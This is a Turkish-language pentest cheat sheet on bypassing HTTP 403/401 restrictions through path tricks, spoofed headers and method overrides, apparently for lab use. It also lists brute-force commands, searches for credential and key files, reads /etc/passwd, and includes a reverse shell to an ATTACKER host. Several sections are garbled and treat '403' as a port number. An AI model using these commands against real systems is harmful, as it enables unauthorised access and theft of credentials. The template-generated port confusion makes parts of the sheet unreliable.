403 & 401 Bypasses
403 bypass web
403/401 engeli sıkça path normalize, header spoof veya method override ile aşılır. Amaç korunan kaynağa erişim. Hedef lab IP’si üzerinde komutları 403 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
Baseline 403/401 yanıtını al.
-
Path ve encoding varyasyonları.
-
Header/IP spoof.
-
Method override ve CDN tuhaflıkları.
Baseline
Section titled “Baseline”curl -vk https://TARGET/admin -o /dev/null -w '%{http_code}'ffuf -u https://TARGET/FUZZ -w raft-small.txt -mc 200,301,302,403Path tricks
Section titled “Path tricks”curl -vk https://TARGET/admin/.curl -vk https://TARGET/admin..;/curl -vk https://TARGET/%2e/admincurl -vk https://TARGET/admin%20curl -vk https://TARGET//admin//Headers
Section titled “Headers”curl -vk https://TARGET/admin -H 'X-Original-URL: /admin'curl -vk https://TARGET/admin -H 'X-Forwarded-For: 127.0.0.1'curl -vk https://TARGET/admin -H 'X-Custom-IP-Authorization: 127.0.0.1'curl -vk -X POST https://TARGET/admin -H 'X-HTTP-Method-Override: GET'Araçlar
Section titled “Araçlar”python3 403bypasser.py -u https://TARGET/adminffuf -u https://TARGET/admin -H 'X-Forwarded-For: FUZZ' -w bypass-ips.txt -mc 200Derin enum
Section titled “Derin enum”& 401 Bypasses için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p403,401 TARGETnmap -Pn -p403 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:403' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',403));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → & 401 BypassesKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 403 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 403nmap -p403 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit 403 bypassmsfconsole -q -x 'search 403 bypass; exit'nuclei -u https://TARGET:403 -t cves/ -silent -severity || truenuclei -u http://TARGET:403 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 403printf '' | timeout 3 nc -nv TARGET 403curl -vk --http1.0 http://TARGET:403/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”403 → path/header fuzz → 200 → authenticated content